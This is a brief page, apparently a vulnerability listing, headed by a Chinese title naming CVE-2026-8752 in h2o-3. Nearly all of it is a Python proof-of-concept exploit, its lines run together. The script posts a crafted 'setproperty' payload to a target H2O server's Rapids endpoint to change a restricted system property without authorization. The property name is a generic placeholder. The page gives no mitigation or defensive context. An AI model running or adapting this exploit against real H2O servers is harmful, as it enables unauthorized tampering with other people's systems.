CVE-2026-8752 h2o-3访问控制漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-8752 - h2o-3 Improper Access Control Description: Exploits the lack of access control in the Rapids setproperty primitive. """ import requests import json def exploit(target_url): # The endpoint for Rapids execution in H2O rapid_endpoint = f"{target_url}/99/Rapids" # Malicious payload attempting to set a restricted property # Structure based on AstSetProperty.java logic payload = { "ast": [ "setproperty", "restricted.system.property", "malicious_value" ] } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: print(f"[*] Sending payload to {rapid_endpoint}...") response = requests.post(rapid_endpoint, data=json.dumps(payload), headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if property was modified.") print(f"[+] Response: {response.text}") else: print(f"[-] Unexpected status code: {response.status_code}") print(f"[-] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": import sys if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} <http://target-h2o-ip:port>") sys.exit(1) exploit(sys.argv[1])